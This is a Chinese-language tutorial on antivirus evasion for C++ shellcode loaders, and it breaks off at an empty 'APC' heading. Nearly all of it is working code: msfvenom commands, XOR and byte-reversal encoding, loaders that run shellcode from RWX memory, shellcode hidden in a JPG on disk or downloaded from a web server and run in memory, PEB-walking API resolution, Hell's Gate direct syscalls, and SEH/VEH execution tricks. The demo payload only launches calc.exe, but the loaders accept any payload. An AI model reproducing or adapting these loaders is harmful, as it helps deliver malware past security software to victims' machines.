C++源码免杀入门

准备

创建俩VS控制台工程,一个为Shellcode一个为ShellcodeLoader,两边运行库都改为多线程调试/MTd,关掉Spectre缓解,符合模式改为否。

用MSFVenom搞个Shellcode,功能是弹计算器,C语言格式:

1
msfvenom -p windows/exec cmd=calc.exe -f c

当然这样生成的C代码很别扭,选中其中十六进制及引号部分,在010Editor中粘贴自十六进制,再拷贝自C代码。

注意这个是x86下的Shellcode,下面Loader要用x86写。

异或与逆转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <iostream>
#include <Windows.h>
#include <tchar.h>
using namespace std;
#define SHELLCODE_LENGTH 193
#define SHELLCODE_KEY 0x69 //shellcode里尽量不要有
UCHAR shellcode[193] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};
VOID xorcode(PCHAR szBuffer, INT nLength, CHAR key) { //异或加密
for (SIZE_T i = 0; i < nLength; i++)
szBuffer[i] ^= key;
return;
};
VOID recode(PCHAR szBuffer, INT nLength) { //逆转加密
PCHAR szTemp = new CHAR[nLength]{ 0 };
INT count = nLength - 1;
for (SIZE_T i = 0; i < count; i++)
szTemp[count - i] = szBuffer[i];
for (SIZE_T i = 0; i <= count; i++)
szBuffer[i] = szTemp[i];
return;
};
VOID WriteToFile(CONST PCHAR szPath, PCHAR szBuffer, INT nLength) { //写文件
HANDLE hFile = CreateFileA(szPath, GENERIC_READ | GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD lpNumberOfBytesWritten = 0;
BOOL bRet = WriteFile(hFile, szBuffer, nLength, &lpNumberOfBytesWritten, NULL);
if (bRet)
cout << "WriteFile Success!" << endl;
else
cout << "WriteFile Fail!" << endl;
return;
};
INT _tmain(INT argc,_TCHAR argv[]) {
recode((PCHAR)&shellcode, SHELLCODE_LENGTH);
xorcode((PCHAR)&shellcode, SHELLCODE_LENGTH, SHELLCODE_KEY);
WriteToFile("D:\\tests\\aaa.ini", (PCHAR)&shellcode, SHELLCODE_LENGTH);
return 0;
};

生成加密后的Shellcode用010Editor导出,写Loader:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <iostream>
#include <Windows.h>
#include <tchar.h>
using namespace std;
#define SHELLCODE_LENGTH 193
#define SHELLCODE_KEY 0x69 //shellcode里尽量不要有
UCHAR shellcode[193] = {
0x69, 0x0C, 0x11, 0x0C, 0x47, 0x0A, 0x05, 0x08, 0x0A, 0xBC, 0x96, 0x3A, 0x69, 0x03, 0x06, 0x1B,
0x7A, 0x2E, 0xD2, 0x6C, 0x1C, 0x89, 0x92, 0xE9, 0x63, 0x15, 0x6F, 0x55, 0xBC, 0x96, 0xF4, 0xD4,
0xFC, 0xCF, 0x01, 0x3F, 0xCB, 0xDC, 0x99, 0xD2, 0xBC, 0x96, 0xEE, 0x06, 0xE2, 0x58, 0x01, 0x39,
0x69, 0x69, 0x69, 0xDB, 0xEC, 0xE4, 0x68, 0x03, 0x34, 0xE4, 0x82, 0x7B, 0xE2, 0x33, 0x36, 0x36,
0x89, 0x96, 0x38, 0x33, 0x30, 0x08, 0x32, 0x32, 0x4D, 0x4D, 0x2D, 0xE0, 0xB9, 0x68, 0xE2, 0x6D,
0xE2, 0xBA, 0x68, 0x75, 0x31, 0xE2, 0x22, 0x65, 0xE2, 0x0F, 0xBA, 0x68, 0x4D, 0x31, 0xE2, 0x31,
0x8D, 0x1C, 0x4D, 0x14, 0x52, 0x91, 0x14, 0x6A, 0x9F, 0x1C, 0x89, 0x51, 0xAE, 0x68, 0x64, 0xA6,
0xA8, 0xC5, 0x96, 0x58, 0xBF, 0x68, 0xE2, 0x5D, 0xE2, 0x20, 0x53, 0x8A, 0x71, 0x20, 0xE2, 0xBA,
0x68, 0x49, 0x30, 0xE2, 0x38, 0xB8, 0x68, 0x21, 0x8A, 0x11, 0x78, 0x25, 0xE2, 0x55, 0x23, 0xE2,
0x79, 0x3B, 0xE2, 0x3E, 0x3B, 0x9B, 0x8B, 0xAE, 0x68, 0x64, 0xA6, 0xA8, 0x49, 0x45, 0x6B, 0x15,
0x08, 0x55, 0xC5, 0x96, 0x58, 0x4F, 0x23, 0xDE, 0x66, 0x41, 0x1B, 0xE2, 0x7D, 0x3B, 0xE2, 0x65,
0x3B, 0xE2, 0x59, 0x39, 0xE2, 0x0D, 0xA9, 0x58, 0x8C, 0xE0, 0x09, 0x69, 0x69, 0x69, 0xEB, 0x81,
0x95
};
VOID xorcode(PCHAR szBuffer, INT nLength, CHAR key) { //异或加密
for (SIZE_T i = 0; i < nLength; i++)
szBuffer[i] ^= key;
return;
};
VOID recode(PCHAR szBuffer, INT nLength) { //逆转加密
PCHAR szTemp = new CHAR[nLength]{ 0 };
INT count = nLength - 1;
for (SIZE_T i = 0; i <= count; i++)
szTemp[i] = szBuffer[count - i];
for (SIZE_T i = 0; i <= count; i++)
szBuffer[i] = szTemp[i];
return;
};
INT _tmain(INT argc, _TCHAR argv[]) {
xorcode((PCHAR)&shellcode, SHELLCODE_LENGTH, SHELLCODE_KEY);
recode((PCHAR)&shellcode, SHELLCODE_LENGTH);
LPVOID lpBuffer = VirtualAlloc(NULL, SHELLCODE_LENGTH, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T lpNumberOfBytesWritten = 0;
WriteProcessMemory(GetCurrentProcess(), lpBuffer, shellcode, SHELLCODE_LENGTH,&lpNumberOfBytesWritten);
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
};

本地分离

例如Shellcode嵌入某图片等最后面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <iostream>
#include <Windows.h>
#include <tchar.h>
using namespace std;
#define SHELLCODE_LENGTH 193
#define SHELLCODE_KEY 0x69 //shellcode里尽量不要有
PCHAR GetCode(CONST PCHAR localPath, INT nCodeSize) {
HANDLE hFile = CreateFileA(localPath, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwFileSize = GetFileSize(hFile, NULL);
PCHAR szBuffer = new CHAR[dwFileSize]{ 0 };
DWORD dwReadLength = 0;
ReadFile(hFile, szBuffer, dwFileSize, &dwReadLength, NULL);
DWORD dwIndex = dwFileSize - nCodeSize;
PCHAR szShellcode = new CHAR[nCodeSize]{ 0 };
memcpy(szShellcode, (szBuffer + dwIndex), nCodeSize);
return szShellcode;
};
INT _tmain(INT argc, _TCHAR argv[]) {
PCHAR szCode = GetCode("C:\\xxx.jpg", SHELLCODE_LENGTH);
for (SIZE_T i = 0; i < SHELLCODE_LENGTH; i++)
szCode[i] ^= 0x69;
LPVOID lpBuffer = VirtualAlloc(NULL, 0x200, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T lpNumberOfBytesWritten = 0;
BOOL bRet=WriteProcessMemory(GetCurrentProcess(), lpBuffer, szCode, SHELLCODE_LENGTH, &lpNumberOfBytesWritten);
if (bRet)
cout << "WriteProcessMemory Success!" << endl;
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
};

远程分离

起个Web服务,HTML写:

1
2
3
<html>
<img src="1.jpg">
</html>

远程下载不落地:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <iostream>
#include <WinSock2.h> //必须在Windows.h前
#include <WinInet.h>
#include <Windows.h>
#include <tchar.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wininet.lib")
using namespace std;
#define SHELLCODE_LENGTH 193
#define SHELLCODE_KEY 0x69 //shellcode里尽量不要有
PCHAR GetCode(CONST PCHAR localPath, INT nCodeSize) {
HANDLE hFile = CreateFileA(localPath, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwFileSize = GetFileSize(hFile, NULL);
PCHAR szBuffer = new CHAR[dwFileSize]{ 0 };
DWORD dwReadLength = 0;
ReadFile(hFile, szBuffer, dwFileSize, &dwReadLength, NULL);
DWORD dwIndex = dwFileSize - nCodeSize;
PCHAR szShellcode = new CHAR[nCodeSize]{ 0 };
memcpy(szShellcode, (szBuffer + dwIndex), nCodeSize);
return szShellcode;
};
INT _tmain(INT argc, _TCHAR argv[]) {
HINTERNET hSession = InternetOpen(TEXT("http-connect"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);
CHAR szUrl[] = "http://127.0.0.1/1.jpg";
HINTERNET hConnect = InternetOpenUrlA(hSession, szUrl, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
CHAR szReadBuffer[0x941F]{ 0 }; //图片总大小+1
DWORD dwReadDataLength = 0;
InternetReadFile(hConnect, szReadBuffer, 0x941F, &dwReadDataLength);
DWORD dwIndex = dwReadDataLength - SHELLCODE_LENGTH;
PCHAR szShellcode = new CHAR[SHELLCODE_LENGTH]{ 0 };
memcpy(szShellcode, (szReadBuffer + dwIndex), SHELLCODE_LENGTH);
for (SIZE_T i = 0; i < SHELLCODE_LENGTH; i++)
szShellcode[i] ^= 0x69;
LPVOID lpBuffer = VirtualAlloc(NULL, 0x200, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T lpNumberOfBytesWritten = 0;
BOOL bRet=WriteProcessMemory(GetCurrentProcess(), lpBuffer, szShellcode, SHELLCODE_LENGTH, &lpNumberOfBytesWritten);
if (bRet)
cout << "WriteProcessMemory Success!" << endl;
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
};

API动态调用

主要为kernel32!LoadLibrarykernel32!GetProcAddress,找到Kernel32模块方法如下,仅限x86。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <iostream>
#include <Windows.h>
#include <tchar.h>
using namespace std;
DWORD GetKernel32Address(VOID) {
DWORD dwKernel32Addr = 0;
_asm {
push eax
mov eax, dword ptr fs : [0x30] //TEB+0x30 -> _PEB ProcessEnvironmentBlock
mov eax, [eax + 0x0c] //__PEB_LDR_DATA Ldr
mov eax, [eax + 0x1c] //_LIST_ENTRY InInitializationOrderModuleList
mov eax, [eax] //_LIST_ENTRY Flink
mov eax, [eax + 0x08] //_LDR_DATA_TABLE_ENTRY InMemoryOrderLinks
mov dwKernel32Addr, eax
pop eax
};
return dwKernel32Addr;
};
DWORD MyGetProcAddress(VOID) {
DWORD dwAddrBase = GetKernel32Address();
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase);
PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress);
DWORD dwFunCount = pExport->NumberOfFunctions;
DWORD dwFunNameCount = pExport->NumberOfNames;
PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase);
PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase);
PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + dwAddrBase);
for (SIZE_T i = 0; i < dwFunCount; i++) {
if (!pAddrOfFun[i])
continue;
DWORD dwFunAddrOffset = pAddrOfFun[i];
for (SIZE_T j = 0; j < dwFunNameCount; j++)
if (pAddrOfOrdinals[j] == i) {
DWORD dwNameOffset = pAddrOfNames[j];
PCHAR pFuncName = (PCHAR)(dwAddrBase + dwNameOffset);
if (strcmp(pFuncName, "GetProcAddress") == 0)
return dwFunAddrOffset + dwAddrBase;
};
};
};
EXTERN_C typedef HMODULE (WINAPI *fnLoadLibraryA)(_In_ LPCSTR lpLibFileName);
EXTERN_C typedef FARPROC (WINAPI *fnGetProcAddress)(_In_ HMODULE hModule,_In_ LPCSTR lpProcName);
EXTERN_C typedef INT (WINAPI *fnMessageBoxA)(_In_opt_ HWND hWnd,_In_opt_ LPCSTR lpText,_In_opt_ LPCSTR lpCaption,_In_ UINT uType);
EXTERN_C typedef VOID (WINAPI *fnExitProcess)(_In_ UINT uExitCode);
INT _tmain(INT argc, _TCHAR argv[]) {
fnGetProcAddress pfnGetProcAddress = (fnGetProcAddress)MyGetProcAddress();
HMODULE hKernel32 = (HMODULE)GetKernel32Address();
fnLoadLibraryA pfnLoadLibraryA = (fnLoadLibraryA)pfnGetProcAddress(hKernel32, "LoadLibraryA");
HMODULE hUser32 = pfnLoadLibraryA("user32.dll");
fnMessageBoxA pfnMessageBoxA = (fnMessageBoxA)pfnGetProcAddress(hUser32, "MessageBoxA");
fnExitProcess pfnExitProcess = (fnExitProcess)pfnGetProcAddress(hKernel32, "ExitProcess");
pfnMessageBoxA(NULL, "xxx", "Msg", MB_OK);
pfnExitProcess(0);
return 0;
};

地狱之门

进内核需要参数和系统服务号。

自己去ntdll.dll中逆系统服务号,应该为函数起始位置偏移4。

这里生成x64下Shellcode,也得加上上面的加密,这里不是重点先略了。

1
msfvenom -p windows/x64/exec cmd=calc.exe -f c

此项目要求外联汇编,在解决方案上右键生成自定义依赖项,勾选masm。然后源文件中添加一个.asm文件。

进内核部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.data
SyscallIndex DWORD 000h
.code
HellsGate proc
mov SyscallIndex,000h
mov SyscallIndex,ecx
ret
HellsGate endp
HellCall proc ;调用地狱门
mov r10,rcx
mov eax,SyscallIndex
syscall
ret
HellCall endp
end

加载器部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <iostream>
#include <Windows.h>
#include <tchar.h>
using namespace std;
EXTERN_C VOID HellsGate(WORD wIndex);
EXTERN_C VOID HellCall(...);
ULONGLONG GetNtdllAddress(VOID) {
ULONGLONG ullNtdll = 0;
_TEB* pTeb = NtCurrentTeb();
PULONGLONG pPeb = (PULONGLONG)(*(PULONGLONG)((ULONGLONG)pTeb + 0x60));
PULONGLONG pLdr = (PULONGLONG)(*(PULONGLONG)((ULONGLONG)pPeb + 0x18));
PULONGLONG pInLoadOrderModuleList = (PULONGLONG)((ULONGLONG)pLdr + 0x10);
PULONGLONG pModuleExe = (PULONGLONG)(*pInLoadOrderModuleList);
PULONGLONG pModuleNtdll = (PULONGLONG)(*pModuleExe);
ullNtdll = pModuleNtdll[6];
return ullNtdll;
};
DWORD GetNtProcIndex(DWORD dwHash) {
ULONGLONG ullBase = GetNtdllAddress();
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ullBase;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS64)(pDos->e_lfanew + ullBase);
PIMAGE_DATA_DIRECTORY pExportDir = pNt->OptionalHeader.DataDirectory;
pExportDir = &(pExportDir[IMAGE_DIRECTORY_ENTRY_EXPORT]);
DWORD dwOffset = pExportDir->VirtualAddress;
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwOffset + ullBase);
DWORD dwFunCount = pExport->NumberOfFunctions;
DWORD dwFunNameCount = pExport->NumberOfNames;
PDWORD pEAT = (PDWORD)(ullBase + pExport->AddressOfFunctions);
PDWORD pENT = (PDWORD)(ullBase + pExport->AddressOfNames);
PWORD pEIT = (PWORD)(ullBase + pExport->AddressOfNameOrdinals);
for (SIZE_T i = 0; i < dwFunCount; i++) {
if (!pEAT[i])
continue;
ULONGLONG ullFunAddOffset = pEAT[i];
for (SIZE_T index = 0; index < dwFunNameCount; index++)
if (pEIT[index] == i) {
ULONGLONG ullFunNameOffset = pENT[index];
PCHAR pFunName = (PCHAR)(ullBase + ullFunNameOffset);
DWORD digest = 0;
while (*pFunName) {
digest = ((digest << 25) | (digest >> 7));
digest += *pFunName;
pFunName++;
};
if (dwHash == digest)
return *(PUCHAR)((ullBase + ullFunAddOffset) + 0x4);
};
};
};
UCHAR shellcode[276] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E,
0x65, 0x78, 0x65, 0x00
};
INT _tmain(INT argc, _TCHAR argv[]) {
HANDLE hThread;
HANDLE hProcess = GetCurrentProcess();
LPVOID lpAddress = NULL;
SIZE_T sSize = 0x1000;
HellsGate(GetNtProcIndex(0x9cb80579)); //NtAllocateVirtualMemoryEx 申请内存
HellCall(hProcess, &lpAddress, &sSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0, 0);
HellsGate(GetNtProcIndex(0x1130814d)); //NtWriteVirtualMemory 写入内存
HellCall(hProcess, lpAddress, shellcode, sizeof(shellcode), 0);
HellsGate(GetNtProcIndex(0x93ec9d3d)); //NtCreateThreadEx 创建线程
HellCall(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, lpAddress, 0, 0, 0, 0, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
};

SEH/VEH

SEH:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <iostream>
#include <Windows.h>
#include <tchar.h>
#pragma comment(linker,"/section:.data,RWE")
using namespace std;
UCHAR shellcode[193] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};
INT ExceptFilter(VOID) {
((VOID(*)(VOID)) & shellcode)();
return EXCEPTION_CONTINUE_EXECUTION;
};
INT _tmain(INT argc, _TCHAR argv[]) {
__try {
INT a = 0;
INT b = 0;
INT c = a / b;
}
__except (ExceptFilter()) {};
return 0;
};

VEH:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <iostream>
#include <Windows.h>
#include <tchar.h>
#pragma comment(linker,"/section:.data,RWE")
using namespace std;
UCHAR shellcode[193] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};
LONG NTAPI Handler(struct _EXCEPTION_POINTERS* ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
ExceptionInfo->ContextRecord->Eip = (DWORD)shellcode;
return EXCEPTION_CONTINUE_EXECUTION;
};
};
INT _tmain(INT argc, _TCHAR argv[]) {
AddVectoredExceptionHandler(1, Handler);
_asm int 3;
return 0;
};

APC异步过程调用